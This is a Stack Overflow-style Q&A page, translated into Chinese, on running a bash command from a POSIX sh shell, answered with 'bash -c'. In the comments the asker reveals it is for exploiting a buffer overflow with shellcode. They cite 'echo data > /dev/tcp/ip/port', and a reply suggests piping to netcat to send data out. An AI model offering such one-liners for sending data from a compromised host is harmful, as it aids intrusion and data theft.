【问题标题】:Run command as bash from POSIX shell从 POSIX shell 以 bash 的形式运行命令
【发布时间】:2015-10-06 23:54:21
【问题描述】:

我有个小问题

我有一个 posix shell,但我需要运行一个 bash 命令。

思考

root@home:~# sh
# /bin/bash /bin/ls

但是,当我这样做时,我得到了

/bin/ls: /bin/ls: cannot execute binary file

我确定我错过了一些简单的东西,但我不确定它是什么。有什么帮助吗?我也需要一行完成。

【问题讨论】:

  • ls 不是 bash 命令。
  • ls 不是 bash 命令,它是二进制文件。只需运行ls
  • ls 只是任何旧命令的示例。
  • “任何旧命令”不是 bash 命令。 Bash 命令是有界和有限集。

标签: bash posix


【解决方案1】:

使用 -c 参数指定您希望由其他 shell 运行的命令:

" -c 从 command_string 操作数中读取命令"

bash -c "ls"

【讨论】:

  • 感谢您提供简洁的答案。
【解决方案2】:

我想出了一个解决方法

echo '#!/bin/bash\--comamnd--; chmod ugo+x /tmp/script.sh; /tmp/script.sh

【讨论】:

  • 这是一种非常复杂和脆弱的方式来做一些微不足道的事情。当然有更好的方法,但在任何人提出好的建议之前,您需要更清楚自己实际要完成的工作。
  • 你能建议一个更好的方式来表达我想问的问题吗?对于仍在学习的人来说,你太居高临下了。
  • 我并不是要居高临下,但我是相当暴躁的——我发现你的问题令人沮丧,因为我无法弄清楚你在问什么。而我还是做不到。真的只是如何运行ls 命令吗?如果是这样,这很简单:输入ls 并按回车键。如果还有更多内容,那么您的示例未能捕捉到您真正要问的内容。令我沮丧的是,我什至无法判断是哪种情况
  • 更多细节:我正在对一个带有缓冲区溢出的自定义 c 程序进行逆向工程。我的 shellcode 会生成一个 /bin/dash shell,它无法正确利用执行“回显数据 > /dev/tcp/ip/port”的能力,但我只能执行一次命令。所以我不能只打开“bash”然后输入命令;这一切都必须在一条线上。 Bash 是一个功能更强大的 shell,具有这种能力。我正在利用的系统已经安装了 bash,所以我只需要一种方法来完成我从一个简单的 shell 中描述的事情。这更有意义吗?我在 Linux 上自学成才,对内部知识知之甚少
  • 好吧,这确实有道理——重定向到 /dev/tcp 是一个 bash 功能,所以它确实不是你需要 bash 的命令 (echo)(对于这种情况)我建议没有答案)。但是如果目标有netcat,使用echo data | nc hostname port会更容易。
猜你喜欢
  • 2016-06-19
  • 1970-01-01
  • 2013-02-14
  • 2015-02-19
  • 1970-01-01
  • 2020-05-24
  • 2020-01-02
  • 1970-01-01
  • 2021-08-01
相关资源
最近更新 更多